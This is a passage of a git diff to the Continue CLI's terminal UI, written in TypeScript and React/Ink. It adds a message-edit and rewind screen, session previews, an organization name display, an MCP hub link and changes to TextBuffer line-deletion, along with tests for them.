cursor to end + // Only allow editing if there are messages + if (userMessages.length > 0) { + const content = getMessageContent(selectedIndex); + textBuffer.setCursor(content.length); + setCursorPosition(content.length); + setIsEditing(true); + } + } else if (key.escape || (key.ctrl && input === "d")) { + onExit(); + } + }, + [ + userMessages.length, + getMessageContent, + selectedIndex, + textBuffer, + onExit, + setSelectedIndex, + setCursorPosition, + setIsEditing, + ], + ); + + useInput((input, key) => { + if (isEditing) { + handleEditModeInput(input, key); + } else { + handleNavigationInput(input, key); + } + }); + + if (userMessages.length === 0) { + return ( + + No user messages to edit. + Press Esc to exit + + ); + } + + const renderEditText = () => { + if (editText.length === 0) { + return ( + + ▋(empty message) + + ); + } + + // Handle multi-line text with cursor + const lines = editText.split("\n"); + let charCount = 0; + let cursorLine = 0; + let cursorCol = 0; + + // Find which line and column the cursor is on + for (let i = 0; i < lines.length; i++) { + if (cursorPosition <= charCount + lines[i].length) { + cursorLine = i; + cursorCol = cursorPosition - charCount; + break; + } + charCount += lines[i].length + 1; // +1 for the newline character + } + + // Handle cursor at the very end + if (cursorPosition >= editText.length) { + cursorLine = lines.length - 1; + cursorCol = lines[cursorLine].length; + } + + return ( + + {lines.map((line, lineIndex) => { + if (lineIndex === cursorLine) { + // Line with cursor + const beforeCursor = line.slice(0, cursorCol); + const atCursor = line.slice(cursorCol, cursorCol + 1); + const afterCursor = line.slice(cursorCol + 1); + + return ( + + {beforeCursor} + {atCursor || " "} + {afterCursor} + + ); + } else { + // Regular line - ensure empty lines still render + return {line || " "}; + } + })} + + ); + }; + + return ( + + + Edit Message (Rewind Conversation) + + + {isEditing + ? "Enter to submit, Esc to cancel, Shift+Enter for newline" + : "↑/↓ to navigate, Enter to edit, Esc to exit"} + + + + {!isEditing && ( + <> + Select a message to edit: + + {userMessages.map((msg, index) => { + const isSelected = index === selectedIndex; + const indicator = isSelected ? "➤ " : " "; + const color = isSelected ? "yellow" : "white"; + const content = + typeof msg.item.message.content === "string" + ? msg.item.message.content + : ""; + const preview = content.split("\n")[0].slice(0, 60); + const truncated = content.length > 60 ? "..." : ""; + + return ( + + + {indicator}Message {index + 1}: {preview} + {truncated} + + + ); + })} + + )} + + {isEditing && ( + <> + + Editing Message {selectedIndex + 1} (will rewind to this point): + + + + {renderEditText()} + + + )} + + ); +} diff --git a/extensions/cli/src/ui/FreeTrialTransitionUI.tsx b/extensions/cli/src/ui/FreeTrialTransitionUI.tsx index 0943d8015..4b3cbbeb7 100644 --- a/extensions/cli/src/ui/FreeTrialTransitionUI.tsx +++ b/extensions/cli/src/ui/FreeTrialTransitionUI.tsx @@ -176,7 +176,7 @@ const FreeTrialTransitionUI: React.FC = ({ if (selectedOption === 1) { // Option 1: Open models setup page setCurrentStep("processing"); - const modelsUrl = new URL("setup-models", env.appUrl).toString(); + const modelsUrl = new URL("settings/billing", env.appUrl).toString(); setWasModelsSetup(true); // Track that user went through models setup try { diff --git a/extensions/cli/src/ui/IntroMessage.test.tsx b/extensions/cli/src/ui/IntroMessage.test.tsx index a21d6f79c..6f024b96e 100644 --- a/extensions/cli/src/ui/IntroMessage.test.tsx +++ b/extensions/cli/src/ui/IntroMessage.test.tsx @@ -81,4 +81,19 @@ describe("IntroMessage", () => { expect(lastFrame()).toContain("Model:"); expect(lastFrame()).toContain("Loading..."); }); + + it("renders organization name when provided", () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).toContain("Org:"); + expect(lastFrame()).toContain("Test Organization"); + }); + + it("does not render organization section when not provided", () => { + const { lastFrame } = render(); + + expect(lastFrame()).not.toContain("Org:"); + }); }); diff --git a/extensions/cli/src/ui/IntroMessage.tsx b/extensions/cli/src/ui/IntroMessage.tsx index 1102c4717..139db3e8b 100644 --- a/extensions/cli/src/ui/IntroMessage.tsx +++ b/extensions/cli/src/ui/IntroMessage.tsx @@ -13,6 +13,7 @@ interface IntroMessageProps { config?: AssistantUnrolled; model?: ModelConfig; mcpService?: MCPService; + organizationName?: string; } // Helper function to extract rule names @@ -26,6 +27,7 @@ const IntroMessage: React.FC = ({ config, model, mcpService, + organizationName, }) => { // Get MCP prompts directly (not memoized since they can change after first render) const mcpPrompts = mcpService?.getState().prompts ?? []; @@ -52,7 +54,7 @@ const IntroMessage: React.FC = ({ {mcpPrompts.map((prompt, index) => ( - /{prompt.name}:{" "} - {prompt.description} + {prompt.description} ))} @@ -98,6 +100,13 @@ const IntroMessage: React.FC = ({ {/* Tips Display - shown randomly 1 in 5 times */} {showTip && } + {/* Organization name */} + {organizationName && ( + + Org: {organizationName} + + )} + {/* Agent name */} {config && ( @@ -113,7 +122,7 @@ const IntroMessage: React.FC = ({ ) : ( - Model: Loading... + Model: Loading... )} diff --git a/extensions/cli/src/ui/LoadingText.tsx b/extensions/cli/src/ui/LoadingText.tsx index 9d19cc5c4..e7663ab76 100644 --- a/extensions/cli/src/ui/LoadingText.tsx +++ b/extensions/cli/src/ui/LoadingText.tsx @@ -9,7 +9,7 @@ interface LoadingTextProps { export const LoadingText: React.FC = ({ text, - color = "gray", + color = "dim", interval = 300, }) => { const [dotsCount, setDotsCount] = useState(1); diff --git a/extensions/cli/src/ui/MCPSelector.tsx b/extensions/cli/src/ui/MCPSelector.tsx index f9db017ef..b2ea4c8bf 100644 --- a/extensions/cli/src/ui/MCPSelector.tsx +++ b/extensions/cli/src/ui/MCPSelector.tsx @@ -117,6 +117,13 @@ export const MCPSelector: React.FC = ({ onCancel }) => { { label: "⏹️ Stop all servers", value: "stop-all" }, ); } + + // Add "Explore MCP Servers" option at the bottom + options.push({ + label: "🔍 Explore MCP Servers", + value: "explore-mcp-servers", + }); + return options; }; @@ -280,6 +287,12 @@ export const MCPSelector: React.FC = ({ onCancel }) => { await mcpService.shutdownConnections(); setMessage("All servers stopped"); break; + case "explore-mcp-servers": + // Open the MCP servers hub in the default browser + const open = (await import("open")).default; + await open("https://hub.continue.dev/explore?type=mcpServers"); + setMessage("Opened MCP servers hub in browser"); + break; case "back": onCancel(); return; @@ -328,14 +341,24 @@ export const MCPSelector: React.FC = ({ onCancel }) => { const { color: statusColor, statusText } = getServerStatusDisplay(serverInfo); - const { command, args } = serverInfo.config; - let cmd = command ? quote([command, ...(args ?? [])]) : ""; - cmd = cmd.replace(/\$\{\{.*\}\}/, "(secret)"); + + let configText = ""; + if ("command" in serverInfo.config) { + const { command, args } = serverInfo.config; + const cmd = command ? quote([command, ...(args ?? [])]) : ""; + if (cmd) { + configText = ` • Command: ${cmd}`; + } + } else { + const { url } = serverInfo.config; + configText = ` • URL: ${url}`; + } + configText = configText.replace(/\$\{\{.*\}\}/, "(secret)"); return ( Status: {statusText} - {cmd && ` • Command: ${cmd}`} + {configText} ); })()} diff --git a/extensions/cli/src/ui/MarkdownRenderer.tsx b/extensions/cli/src/ui/MarkdownRenderer.tsx index 5498172b2..8cc2d2223 100644 --- a/extensions/cli/src/ui/MarkdownRenderer.tsx +++ b/extensions/cli/src/ui/MarkdownRenderer.tsx @@ -31,7 +31,7 @@ const MarkdownRenderer: React.FC = React.memo( { regex: /([\s\S]*?)<\/think>/g, render: (content, key) => ( - + {content.trim()} ), diff --git a/extensions/cli/src/ui/SessionPreview.tsx b/extensions/cli/src/ui/SessionPreview.tsx new file mode 100644 index 000000000..73a2af478 --- /dev/null +++ b/extensions/cli/src/ui/SessionPreview.tsx @@ -0,0 +1,110 @@ +import type { ChatHistoryItem } from "core/index.js"; +import { Box, Text } from "ink"; +import React, { useMemo } from "react"; + +import { useTerminalSize } from "./hooks/useTerminalSize.js"; +import { defaultBoxStyles } from "./styles.js"; + +interface SessionPreviewProps { + chatHistory: ChatHistoryItem[]; + sessionTitle: string; +} + +function formatMessageContent(content: string | any): string { + if (typeof content === "string") { + return content; + } else if (Array.isArray(content)) { + // For array content, find the first text part + const textPart = content.find((part: any) => part.type === "text"); + return textPart && "text" in textPart + ? textPart.text + : "(multimodal message)"; + } + return "(unknown content type)"; +} + +export function SessionPreview({ + chatHistory, + sessionTitle, +}: SessionPreviewProps) { + const { rows: terminalHeight } = useTerminalSize(); + + // Filter and format messages for preview + const previewMessages = useMemo(() => { + return chatHistory + .filter((item) => { + // Skip system messages + if (item.message.role === "system") return false; + + // Skip empty assistant messages + if (item.message.role === "assistant") { + const content = formatMessageContent(item.message.content); + if (!content || content.trim() === "") return false; + } + + return true; + }) + .map((item) => ({ + role: item.message.role, + content: formatMessageContent(item.message.content), + })); + }, [chatHistory]); + + // Calculate how many messages we can display based on terminal height + const maxMessages = useMemo(() => { + // Account for: + // - Box border (top + bottom): 2 lines + // - Box padding (top + bottom): 2 lines + // - Title line: 1 line + // - Empty line after title: 1 line + // - "... and X more messages" line: 1 line + // - Each message: ~4 lines (role + content + marginBottom) + const OVERHEAD = 7; + const LINES_PER_MESSAGE = 4; + const availableHeight = Math.max(1, terminalHeight - OVERHEAD); + return Math.max(1, Math.floor(availableHeight / LINES_PER_MESSAGE)); + }, [terminalHeight]); + + if (previewMessages.length === 0) { + return ( + + + Preview + + (no messages) + + ); + } + + return ( + + + {sessionTitle} + + + {previewMessages.slice(0, maxMessages).map((msg, index) => { + const roleColor = msg.role === "user" ? "green" : "cyan"; + const roleLabel = msg.role === "user" ? "You" : "Assistant"; + // Truncate long messages for preview + const truncatedContent = + msg.content.length > 150 + ? msg.content.substring(0, 150) + "..." + : msg.content; + + return ( + + + {roleLabel}: + + {truncatedContent} + + ); + })} + {previewMessages.length > maxMessages && ( + + ... and {previewMessages.length - maxMessages} more messages + + )} + + ); +} diff --git a/extensions/cli/src/ui/SessionSelector.tsx b/extensions/cli/src/ui/SessionSelector.tsx index eb224fb88..0f06f236e 100644 --- a/extensions/cli/src/ui/SessionSelector.tsx +++ b/extensions/cli/src/ui/SessionSelector.tsx @@ -1,10 +1,12 @@ +import type { Session } from "core/index.js"; import { format, isThisWeek, isThisYear, isToday, isYesterday } from "date-fns"; import { Box, Text, useInput } from "ink"; -import React, { useMemo, useState } from "react"; +import React, { useEffect, useMemo, useState } from "react"; -import { ExtendedSessionMetadata } from "../session.js"; +import { ExtendedSessionMetadata, loadSessionById } from "../session.js"; import { useTerminalSize } from "./hooks/useTerminalSize.js"; +import { SessionPreview } from "./SessionPreview.js"; import { defaultBoxStyles } from "./styles.js"; interface SessionSelectorProps { @@ -40,7 +42,19 @@ export function SessionSelector({ onExit, }: SessionSelectorProps) { const [selectedIndex, setSelectedIndex] = useState(0); - const { rows: terminalHeight } = useTerminalSize(); + const [previewSession, setPreviewSession] = useState(null); + const { rows: terminalHeight, columns: terminalWidth } = useTerminalSize(); + + // Load the selected session for preview + useEffect(() => { + const selectedSession = sessions[selectedIndex]; + if (selectedSession && !selectedSession.isRemote) { + const session = loadSessionById(selectedSession.sessionId); + setPreviewSession(session); + } else { + setPreviewSession(null); + } + }, [selectedIndex, sessions]); // Calculate how many sessions we can display based on terminal height and scrolling const { displaySessions, scrollOffset } = useMemo(() => { @@ -104,54 +118,90 @@ export function SessionSelector({ const hasMoreAbove = scrollOffset > 0; const hasMoreBelow = scrollOffset + displaySessions.length < sessions.length; + // Determine if we should show preview (only if terminal is wide enough) + const showPreview = terminalWidth > 100; + const listWidth = showPreview + ? Math.floor(terminalWidth * 0.3) + : terminalWidth; + return ( - - - Recent Sessions{" "} - {sessions.length > displaySessions.length && - `(${selectedIndex + 1}/${sessions.length})`} - - ↑/↓ to navigate, Enter to select, Esc to exit - - - {hasMoreAbove && ( - - ⬆ {scrollOffset} more sessions above... + + {/* Left side: Session list */} + + + Recent Sessions{" "} + {sessions.length > displaySessions.length && + `(${selectedIndex + 1}/${sessions.length})`} - )} + ↑/↓ to navigate, Enter to select, Esc to exit + - {displaySessions.map((session, index) => { - const globalIndex = index + scrollOffset; - const isSelected = globalIndex === selectedIndex; - const indicator = isSelected ? "➤ " : " "; - const color = isSelected ? "blue" : "white"; + {hasMoreAbove && ( + + ⬆ {scrollOffset} more sessions above... + + )} - return ( - - - - {indicator} - {formatMessage(session.title)} - + {displaySessions.map((session, index) => { + const globalIndex = index + scrollOffset; + const isSelected = globalIndex === selectedIndex; + const indicator = isSelected ? "➤ " : " "; + const color = isSelected ? "blue" : "white"; + + return ( + + + + {indicator} + {formatMessage(session.title)} + + + + + {formatTimestamp(new Date(session.dateCreated))} + {session.isRemote ? " (remote)" : " (local)"} + + + {index < displaySessions.length - 1 && ( + + )} - + ); + })} + + {hasMoreBelow && ( + + ⬇ {sessions.length - scrollOffset - displaySessions.length} more + sessions below... + + )} + + + {/* Right side: Preview panel */} + {showPreview && ( + + {previewSession ? ( + + ) : ( + + + Preview + - {formatTimestamp(new Date(session.dateCreated))} - {session.isRemote ? " (remote)" : " (local)"} + {sessions[selectedIndex]?.isRemote + ? "(remote session preview not available)" + : "(loading...)"} - {index < displaySessions.length - 1 && ( - - )} - - ); - })} - - {hasMoreBelow && ( - - ⬇ {sessions.length - scrollOffset - displaySessions.length} more - sessions below... - + )} + )} ); diff --git a/extensions/cli/src/ui/SlashCommandUI.tsx b/extensions/cli/src/ui/SlashCommandUI.tsx index 15d88bf29..66107c048 100644 --- a/extensions/cli/src/ui/SlashCommandUI.tsx +++ b/extensions/cli/src/ui/SlashCommandUI.tsx @@ -4,6 +4,18 @@ import React, { useMemo } from "react"; import { getAllSlashCommands } from "../commands/commands.js"; +const MAX_DESCRIPTION_LENGTH = 80; + +const truncateDescription = (description: string): string => { + if (description.length <= MAX_DESCRIPTION_LENGTH) { + return description; + } + return ( + Array.from(description).slice(0, MAX_DESCRIPTION_LENGTH).join("").trim() + + "…" + ); +}; + interface SlashCommandUIProps { assistant?: AssistantConfig; filter: string; @@ -31,7 +43,7 @@ const SlashCommandUI: React.FC = ({ { name: "clear", description: "Clear the chat history" }, { name: "exit", description: "Exit the chat" }, ]; - }, [isRemoteMode, assistant?.prompts]); + }, [isRemoteMode, assistant?.prompts, assistant?.rules]); // Filter commands based on the current filter const filteredCommands = allCommands @@ -74,7 +86,7 @@ const SlashCommandUI: React.FC = ({ {paddedCommandName} {" "} - {command.description} + {truncateDescription(command.description)} diff --git a/extensions/cli/src/ui/TUIChat.tsx b/extensions/cli/src/ui/TUIChat.tsx index e7714fbc7..dfcd19060 100644 --- a/extensions/cli/src/ui/TUIChat.tsx +++ b/extensions/cli/src/ui/TUIChat.tsx @@ -7,6 +7,9 @@ import React, { useState, } from "react"; +import { ToolPermissionServiceState } from "src/services/ToolPermissionService.js"; + +import { listUserOrganizations } from "../auth/workos.js"; import { useServices } from "../hooks/useService.js"; import { ApiClientServiceState, @@ -28,7 +31,6 @@ import { useChat } from "./hooks/useChat.js"; import { useContextPercentage } from "./hooks/useContextPercentage.js"; import { useMessageRenderer } from "./hooks/useMessageRenderer.js"; import { - useCurrentMode, useIntroMessage, useLoginHandlers, useSelectors, @@ -95,11 +97,58 @@ function useTUIChatServices(remoteUrl?: string) { mcp: MCPServiceState; apiClient: ApiClientServiceState; update: UpdateServiceState; - }>(["auth", "config", "model", "mcp", "apiClient", "update"]); + toolPermissions: ToolPermissionServiceState; + }>([ + "auth", + "config", + "model", + "mcp", + "apiClient", + "update", + "toolPermissions", + ]); return { services, allServicesReady, isRemoteMode }; } +// Custom hook to fetch organization name +function useOrganizationName(organizationId?: string): string | undefined { + const [organizationName, setOrganizationName] = useState( + undefined, + ); + + useEffect(() => { + if (!organizationId) { + setOrganizationName(undefined); + return; + } + + let isMounted = true; + + async function fetchOrgName() { + try { + const orgs = await listUserOrganizations(); + if (!isMounted) return; + + const org = orgs?.find((o) => o.id === organizationId); + if (org) { + setOrganizationName(org.name); + } + } catch (error) { + logger.debug("Failed to fetch organization name", { error }); + } + } + + fetchOrgName(); + + return () => { + isMounted = false; + }; + }, [organizationId]); + + return organizationName; +} + // Custom hook for chat handlers function useChatHandlers( setShowIntroMessage: (show: boolean) => void, @@ -162,11 +211,8 @@ const TUIChat: React.FC = ({ allServicesReady, ); - // State for current mode (for hiding cwd in plan/auto modes) - const currentMode = useCurrentMode(); - // Use login handlers - const { handleLoginPrompt, handleLoginTokenSubmit } = useLoginHandlers( + const { handleLoginTokenSubmit } = useLoginHandlers( navigateTo, navState, closeCurrentScreen, @@ -220,6 +266,7 @@ const TUIChat: React.FC = ({ handleInterrupt, handleFileAttached, resetChatHistory, + handleEditMessage, handleToolPermissionResponse, } = useChat({ assistant: services.config?.config || undefined, @@ -235,9 +282,9 @@ const TUIChat: React.FC = ({ onShowMCPSelector: () => navigateTo("mcp"), onShowUpdateSelector: () => navigateTo("update"), onShowSessionSelector: () => navigateTo("session"), - onLoginPrompt: handleLoginPrompt, onReload: handleReload, onClear: handleClear, + onRefreshStatic: () => setStaticRefreshTrigger((prev) => prev + 1), // Remote mode configuration isRemoteMode, remoteUrl, @@ -264,6 +311,7 @@ const TUIChat: React.FC = ({ configPath, setChatHistory, handleClear, + setStaticRefreshTrigger, ); // Session selection handler @@ -290,6 +338,9 @@ const TUIChat: React.FC = ({ // State for image in clipboard status const [hasImageInClipboard, setHasImageInClipboard] = useState(false); + // Fetch organization name based on auth state + const organizationName = useOrganizationName(services.auth?.organizationId); + return ( {/* Chat history - takes up all available space above input */} @@ -312,6 +363,7 @@ const TUIChat: React.FC = ({ config={services.config?.config || undefined} model={services.model?.model || undefined} mcpService={services.mcp?.mcpService || undefined} + organizationName={organizationName} chatHistory={chatHistory} queuedMessages={queuedMessages} renderMessage={renderMessage} @@ -369,6 +421,9 @@ const TUIChat: React.FC = ({ isRemoteMode={isRemoteMode} onImageInClipboardChange={setHasImageInClipboard} diffContent={diffContent} + chatHistory={chatHistory} + handleEditMessage={handleEditMessage} + onShowEditSelector={() => navigateTo("edit")} /> {/* Resource debug bar - only in verbose mode */} @@ -378,7 +433,7 @@ const TUIChat: React.FC = ({ {/* Free trial status and Continue CLI info - always show */} { buffer.handleInput(largeChunk, { ctrl: false, meta: false } as any); // Small typed input should not be mixed into paste - const typedChar = "a"; - buffer.handleInput(typedChar, { ctrl: false, meta: false } as any); - expect(buffer.text).toBe("a"); + const smallChunk = "abc"; + buffer.handleInput(smallChunk, { ctrl: false, meta: false } as any); + expect(buffer.text).toBe(""); // Both chunks buffered buffer.flushPendingInput(); + expect(buffer.text).toBe(largeChunk + smallChunk); + }); + + it("should allow typing after paste accumulation delay", () => { + vi.useFakeTimers(); + + const largeChunk = "x".repeat(100); + buffer.handleInput(largeChunk, { ctrl: false, meta: false } as any); + + // Advance time to simulate user typing after a delay + vi.advanceTimersByTime(60); // so that it is treated as typing + + const typedChar = "a"; + buffer.handleInput(typedChar, { ctrl: false, meta: false } as any); + expect(buffer.text).toBe("a"); // Typed char inserted immediately + + vi.advanceTimersByTime(250); // Finalize paste expect(buffer.text).toBe("a" + largeChunk); + + vi.useRealTimers(); }); it("should preserve all chunks when expanding (content loss fix)", () => { @@ -611,6 +630,30 @@ describe("TextBuffer", () => { expect(buffer.cursor).toBe(2); }); + it("should limit ctrl+u deletion to current line", () => { + const text = "first line\nsecond line\nthird"; + buffer.setText(text); + buffer.setCursor(text.indexOf("second line") + "second line".length); + + const result = buffer.handleInput("u", { ctrl: true } as any); + + expect(result).toBe(true); + expect(buffer.text).toBe("first line\n\nthird"); + expect(buffer.cursor).toBe("first line\n".length); + }); + + it("should limit ctrl+k deletion to current line", () => { + const text = "first line\nsecond line\nthird"; + buffer.setText(text); + buffer.setCursor(text.indexOf("second line")); + + const result = buffer.handleInput("k", { ctrl: true } as any); + + expect(result).toBe(true); + expect(buffer.text).toBe("first line\n\nthird"); + expect(buffer.cursor).toBe(text.indexOf("second line")); + }); + it("should handle arrow keys", () => { let result = buffer.handleInput("", { leftArrow: true } as any); expect(result).toBe(true); @@ -644,6 +687,38 @@ describe("TextBuffer", () => { expect(buffer.cursor).toBe(0); }); + it("should delete to start of line with meta+backspace", () => { + const text = "first line\nsecond line\nthird line"; + buffer.setText(text); + const cursorPosition = text.indexOf("second line") + "second line".length; + buffer.setCursor(cursorPosition); + + const result = buffer.handleInput("", { + meta: true, + backspace: true, + } as any); + + expect(result).toBe(true); + expect(buffer.text).toBe("first line\n\nthird line"); + expect(buffer.cursor).toBe("first line\n".length); + }); + + it("should delete to end of line with meta+delete", () => { + const text = "first line\nsecond line\nthird line"; + buffer.setText(text); + const cursorPosition = text.indexOf("second line"); + buffer.setCursor(cursorPosition); + + const result = buffer.handleInput("", { + meta: true, + delete: true, + } as any); + + expect(result).toBe(true); + expect(buffer.text).toBe("first line\n\nthird line"); + expect(buffer.cursor).toBe(cursorPosition); + }); + it("should handle option key sequences", () => { const result = buffer.handleInput("\u001b\u007f", {} as any); expect(result).toBe(true); diff --git a/extensions/cli/src/ui/TextBuffer.ts b/extensions/cli/src/ui/TextBuffer.ts index 103b48571..768ab0b4b 100644 --- a/extensions/cli/src/ui/TextBuffer.ts +++ b/extensions/cli/src/ui/TextBuffer.ts @@ -137,6 +137,38 @@ export class TextBuffer { } } + private deleteLineBackward(): void { + if (this._cursor === 0) { + return; + } + + const lastNewline = this._text.lastIndexOf("\n", this._cursor - 1); + const lineStart = lastNewline === -1 ? 0 : lastNewline + 1; + + if (lineStart === this._cursor) { + return; + } + + this._text = + this._text.slice(0, lineStart) + this._text.slice(this._cursor); + this._cursor = lineStart; + } + + private deleteLineForward(): void { + if (this._cursor >= this._text.length) { + return; + } + + const nextNewline = this._text.indexOf("\n", this._cursor); + const lineEnd = nextNewline === -1 ? this._text.length : nextNewline; + + if (lineEnd === this._cursor) { + return; + } + + this._text = this._text.slice(0, this._cursor) + this._text.slice(lineEnd); + } + moveToStart(): void { this._cursor = 0; } @@ -305,26 +337,24 @@ export class TextBuffer { const timeSinceLastInput = now - this._lastInputTime; // If we're already in rapid input mode and this comes quickly, add to buffer - // But only if it's a reasonably large chunk - small inputs are likely typing, not paste - // This prevents typed characters from being mixed into paste content during accumulation - if ( - this._rapidInputBuffer.length > 0 && - timeSinceLastInput < 200 && - input.length >= 50 - ) { - this._rapidInputBuffer += input; - this._lastInputTime = now; + if (this._rapidInputBuffer.length > 0 && timeSinceLastInput < 200) { + const isLikelyTyping = input.length < 50 && timeSinceLastInput >= 50; - if (this._rapidInputTimer) { - clearTimeout(this._rapidInputTimer); + if (!isLikelyTyping) { + this._rapidInputBuffer += input; + this._lastInputTime = now; + + if (this._rapidInputTimer) { + clearTimeout(this._rapidInputTimer); + } + + // Reset timer: 200ms pause indicates end of paste + this._rapidInputTimer = setTimeout(() => { + this.finalizeRapidInput(); + }, 200); + + return true; } - - // Reset timer: 200ms pause indicates end of paste - this._rapidInputTimer = setTimeout(() => { - this.finalizeRapidInput(); - }, 200); - - return true; } // Fallback paste detection: some terminals send large pastes as rapid chunks @@ -402,13 +432,10 @@ export class TextBuffer { this.moveToEnd(); return true; case "u": - // Delete from cursor to start of line - this._text = this._text.slice(this._cursor); - this._cursor = 0; + this.deleteLineBackward(); return true; case "k": - // Delete from cursor to end of line - this._text = this._text.slice(0, this._cursor); + this.deleteLineForward(); return true; case "w": this.deleteWordBackward(); @@ -422,8 +449,12 @@ export class TextBuffer { } private handleMetaKey(input: string, key: Key): boolean { - if (key.backspace || key.delete) { - this.deleteWordBackward(); + if (key.backspace) { + this.deleteLineBackward(); + return true; + } + if (key.delete) { + this.deleteLineForward(); return true; } if (key.leftArrow) { diff --git a/extensions/cli/src/ui/Timer.tsx b/extensions/cli/src/ui/Timer.tsx index 87744ce92..35ae5077d 100644 --- a/extensions/cli/src/ui/Timer.tsx +++ b/extensions/cli/src/ui/Timer.tsx @@ -6,7 +6,7 @@ interface TimerProps { color?: string; } -const Timer: React.FC = ({ startTime, color = "gray" }) => { +const Timer: React.FC = ({ startTime, color = "dim" }) => { const [elapsed, setElapsed] = useState(0); useEffect(() => { diff --git a/extensions/cli/src/ui/TipsDisplay.tsx b/extensions/cli/src/ui/TipsDisplay.tsx index 075a65749..4b4975e3d 100644 --- a/extensions/cli/src/ui/TipsDisplay.tsx +++ b/extensions/cli/src/ui/TipsDisplay.tsx @@ -33,7 +33,7 @@ const TipsDisplay: React.FC = () => { * Tip: - + {" "} {randomTip} diff --git a/extensions/cli/src/ui/ToolResultSummary.tsx b/extensions/cli/src/ui/ToolResultSummary.tsx index 152a6121f..9e2de0824 100644 --- a/extensions/cli/src/ui/ToolResultSummary.tsx +++ b/extensions/cli/src/ui/ToolResultSummary.tsx @@ -22,8 +22,8 @@ const ToolResultSummary: React.FC = ({ if (!content) { return ( - ⎿ - No output + ⎿ + No output ); } @@ -37,7 +37,7 @@ const ToolResultSummary: React.FC = ({ return ( - ⎿ + ⎿ Task List Updated @@ -55,7 +55,7 @@ const ToolResultSummary: React.FC = ({ return ( - ⎿ + ⎿ {toolName === "Edit" ? " File edited successfully" @@ -81,8 +81,8 @@ const ToolResultSummary: React.FC = ({ return ( - ⎿ - Terminal output: + ⎿ + Terminal output: @@ -97,8 +97,8 @@ const ToolResultSummary: React.FC = ({ return ( - ⎿ - Terminal output: + ⎿ + Terminal output: @@ -106,7 +106,7 @@ const ToolResultSummary: React.FC = ({ - + ... +{outputLines.length - MAX_BASH_OUTPUT_LINES} lines @@ -183,8 +183,8 @@ const ToolResultSummary: React.FC = ({ return ( - ⎿ - {getSummary()} + ⎿ + {getSummary()} ); }; diff --git a/extensions/cli/src/ui/UpdateNotification.test.tsx b/extensions/cli/src/ui/UpdateNotification.test.tsx index 5dc4c89a0..3579ac6b3 100644 --- a/extensions/cli/src/ui/UpdateNotification.test.tsx +++ b/extensions/cli/src/ui/UpdateNotification.test.tsx @@ -119,7 +119,7 @@ describe("UpdateNotification", () => { const { lastFrame } = render(); - expect(lastFrame()).toContain("◉ Updating to v1.0.1"); + expect(lastFrame()).toContain("Updating to v1.0.1"); }); it("should show updated message when update completes", () => { diff --git a/extensions/cli/src/ui/UpdateNotification.tsx b/extensions/cli/src/ui/UpdateNotification.tsx index 833422692..a5c71bcbc 100644 --- a/extensions/cli/src/ui/UpdateNotification.tsx +++ b/extensions/cli/src/ui/UpdateNotification.tsx @@ -1,4 +1,4 @@ -import { Text } from "ink"; +import { Box, Text } from "ink"; import React, { useMemo } from "react"; import { useServices } from "../hooks/useService.js"; @@ -9,6 +9,7 @@ import { } from "../services/types.js"; import { useTerminalSize } from "./hooks/useTerminalSize.js"; +import { LoadingAnimation } from "./LoadingAnimation.js"; interface UpdateNotificationProps { isRemoteMode?: boolean; @@ -48,6 +49,15 @@ const UpdateNotification: React.FC = ({ return ◉ Remote Mode; } + if (services.update?.status === UpdateStatus.UPDATING) { + return ( + + + {`${text}`} + + ); + } + return {`◉ ${text}`}; }; diff --git a/extensions/cli/src/ui/UserInput.keyboard.test.ts b/extensions/cli/src/ui/UserInput.keyboard.test.ts index 30cd1e0f1..075a61c46 100644 --- a/extensions/cli/src/ui/UserInput.keyboard.test.ts +++ b/extensions/cli/src/ui/UserInput.keyboard.test.ts @@ -1,29 +1,29 @@ -import { describe, expect, it, beforeEach } from "vitest"; - -import { modeService } from "../services/ModeService.js"; +import { beforeEach, describe, expect, it } from "vitest"; +import { services } from "../services/index.js"; +const toolPermissionService = services.toolPermissions; describe("UserInput Keyboard Shortcuts", () => { beforeEach(() => { // Reset to normal mode for each test - modeService.initialize({}); + toolPermissionService.initialize({}); }); describe("mode cycling logic", () => { it("should cycle through modes in correct order", () => { // Initially should be normal mode - expect(modeService.getCurrentMode()).toBe("normal"); + expect(toolPermissionService.getCurrentMode()).toBe("normal"); // Cycle to plan - modeService.switchMode("plan"); - expect(modeService.getCurrentMode()).toBe("plan"); + toolPermissionService.switchMode("plan"); + expect(toolPermissionService.getCurrentMode()).toBe("plan"); // Cycle to auto - modeService.switchMode("auto"); - expect(modeService.getCurrentMode()).toBe("auto"); + toolPermissionService.switchMode("auto"); + expect(toolPermissionService.getCurrentMode()).toBe("auto"); // Cycle back to normal - modeService.switchMode("normal"); - expect(modeService.getCurrentMode()).toBe("normal"); + toolPermissionService.switchMode("normal"); + expect(toolPermissionService.getCurrentMode()).toBe("normal"); }); it("should cycle through all modes sequentially", () => { @@ -32,8 +32,8 @@ describe("UserInput Keyboard Shortcuts", () => { // Test cycling through all modes for (let i = 0; i < modes.length * 2; i++) { const expectedMode = modes[i % modes.length]; - modeService.switchMode(expectedMode); - expect(modeService.getCurrentMode()).toBe(expectedMode); + toolPermissionService.switchMode(expectedMode); + expect(toolPermissionService.getCurrentMode()).toBe(expectedMode); } }); }); diff --git a/extensions/cli/src/ui/UserInput.tsx b/extensions/cli/src/ui/UserInput.tsx index a7644d56d..fb31e4e5c 100644 --- a/extensions/cli/src/ui/UserInput.tsx +++ b/extensions/cli/src/ui/UserInput.tsx @@ -1,14 +1,17 @@ /* eslint-disable max-lines */ import { type AssistantConfig } from "@continuedev/sdk"; import { Box, Text, useApp, useInput } from "ink"; -import React, { useCallback, useState } from "react"; +import React, { useCallback, useRef, useState } from "react"; import { getAllSlashCommands } from "../commands/commands.js"; import { useServices } from "../hooks/useService.js"; import type { PermissionMode } from "../permissions/types.js"; import type { FileIndexServiceState } from "../services/FileIndexService.js"; -import { SERVICE_NAMES, serviceContainer } from "../services/index.js"; -import { modeService } from "../services/ModeService.js"; +import { + SERVICE_NAMES, + serviceContainer, + services, +} from "../services/index.js"; import { messageQueue } from "../stream/messageQueue.js"; import { InputHistory } from "../util/inputHistory.js"; @@ -106,6 +109,7 @@ interface UserInputProps { hideNormalUI?: boolean; isRemoteMode?: boolean; onImageInClipboardChange?: (hasImage: boolean) => void; + onShowEditSelector?: () => void; } const UserInput: React.FC = ({ @@ -122,9 +126,11 @@ const UserInput: React.FC = ({ hideNormalUI = false, isRemoteMode = false, onImageInClipboardChange, + onShowEditSelector, }) => { const [textBuffer] = useState(() => new TextBuffer()); const [inputHistory] = useState(() => new InputHistory()); + const lastEscapePressRef = useRef(0); // 